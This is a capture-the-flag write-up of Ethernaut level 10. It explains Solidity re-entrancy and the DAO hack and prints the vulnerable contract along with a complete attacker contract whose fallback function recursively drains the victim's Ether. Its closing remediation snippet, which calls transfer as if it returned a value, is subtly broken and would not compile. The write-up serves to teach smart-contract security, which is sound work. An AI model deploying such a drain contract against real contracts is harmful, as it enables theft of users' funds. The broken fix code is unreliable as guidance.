Ethernaut(Lvl 10): Legendary DAO hack all over again

Ethernaut(Lvl 10): Legendary DAO hack all over again

Drain funds from a contract exploiting re-entrancy

Understanding Re-entrancy

Re-entrancy occurs in single-thread computing environments when the execution stack jumps or invokes subroutines before returning to the original execution flow. While this single-thread execution ensures the atomicity of contracts and eliminates certain race conditions, it also leaves contracts vulnerable to poor execution ordering.

For instance, consider the scenario where the transfer of funds precedes the deduction from internal balances ledger. In this example, Contract B acts as a malicious contract that recursively calls A.withdraw() to deplete Contract A's funds. Notably, the fund extraction completes successfully before Contract A returns from its recursive loop, allowing B to extract funds exceeding its own balance.

This level capitalizes on the re-entrancy issue and explores additional factors contributing to the DAO hack:

  • Fallback functions can be invoked by anyone and execute malicious code.

  • Malicious external contracts can exploit withdrawals.

The Challenge

The challenge requires you to steal all the funds from the contract .

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;

import 'openzeppelin-contracts-06/math/SafeMath.sol';

contract Reentrance {

  using SafeMath for uint256;
  mapping(address => uint) public balances;

  function donate(address _to) public payable {
    balances[_to] = balances[_to].add(msg.value);
  }

  function balanceOf(address _who) public view returns (uint balance) {
    return balances[_who];
  }

  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      (bool result,) = msg.sender.call{value:_amount}("");
      if(result) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }

  receive() external payable {}
}

The attack exploits the reentrancy vulnerability in the ReentrancyHacker contract to drain funds from the IReentrancy contract. Here's how it works:

  1. The ReentrancyHacker contract initializes a variable victim of type IReentrancy with the address of the vulnerable contract passed as an argument to the constructor.

  2. The fund() function allows external users to send Ether to the ReentrancyHacker contract, which is then forwarded to the donate() function of the vulnerable contract (victim). The amount donated is stored in the donatedAmount variable.

  3. The withdraw() function calls the withdraw() function of the vulnerable contract (victim) and attempts to withdraw the entire amount previously donated.

  4. The fallback() function is a special function that gets executed when the contract receives Ether but doesn't match any other function signature. This function is exploited to initiate the reentrancy attack.

  5. Inside the fallback() function, the contract checks the balance of the vulnerable contract. If the balance is not a multiple of the donated amount, the contract calls the withdraw() function of the vulnerable contract multiple times to drain the excess funds until the balance is a multiple of the donated amount. Then, it calls the withdraw() function one more time to drain the entire donated amount.

  6. The collectEthBack() function allows the attacker to withdraw any remaining Ether held by the ReentrancyHacker contract back to their address.

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;

// Interface for the vulnerable contract
interface IReentrancy {
    function donate(address _to) external payable;
    function withdraw(uint _amount) external;
}

contract ReentrancyHacker {
    IReentrancy victim; // Interface instance for the vulnerable contract
    uint256 donatedAmount; // Amount of Ether donated
    address victimAddress; // Address of the vulnerable contract

    constructor(address _victim) public {
        victim = IReentrancy(_victim); // Initialize the interface instance
        victimAddress = _victim; // Set the address of the vulnerable contract
    }

    // Function to donate Ether to the vulnerable contract
    function fund() public payable {
        // Call the donate function of the vulnerable contract with the value sent
        victim.donate{value: msg.value}(address(this));
        donatedAmount = msg.value; // Store the donated amount
    }

    // Function to withdraw Ether from the vulnerable contract
    function withdraw() public {
        // Call the withdraw function of the vulnerable contract with the donated amount
        victim.withdraw(donatedAmount);
    }

    // Fallback function to handle incoming Ether
    fallback() external payable {
        uint contractBalance = address(victimAddress).balance; // Get the balance of the vulnerable contract
        if (contractBalance % donatedAmount != 0) {
            // If the balance is not a multiple of the donated amount, withdraw the excess
            victim.withdraw(contractBalance % donatedAmount);
        } else if (contractBalance != 0) {
            // If the balance is not zero, withdraw the entire donated amount
            victim.withdraw(donatedAmount);
        } else {
            // Do nothing if the balance is zero
        }
    }

    // Function to collect remaining Ether from the contract
    function collectEthBack() public {
        // Transfer the contract's balance to the sender
        payable(msg.sender).transfer(address(this).balance);
    }
}

Developer TidBits

In Solidity, the sequence of actions holds significant importance. When making external function calls, it's crucial to position them as the final step after completing all necessary checks and adjustments. For instance, consider the withdraw function below:

function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
        balances[msg.sender] -= _amount;         
        if(msg.sender.transfer(_amount)()) {
            _amount;
        }
    }
}

Alternatively, it's advisable to execute the transfer operation in a separate function for improved clarity and organization.

Additionally, implementing a mutex is advisable to prevent re-entrancy. This can involve utilizing a boolean lock variable to indicate the depth of execution.

Exercise caution when utilizing function modifiers to verify invariants. Remember that modifiers are executed at the start of the function. If the state of variables is expected to change throughout the function's execution, it's prudent to extract the modifier and place the check at the appropriate line within the function.

Lastly, adhere to the advice to "use transfer to move funds out of your contract," as it throws an exception and limits gas forwarded. Unlike low-level functions like call and send, transfer interrupts the execution flow when the receiving contract encounters failure. This guidance is drawn from insights provided in the Ethernaut level.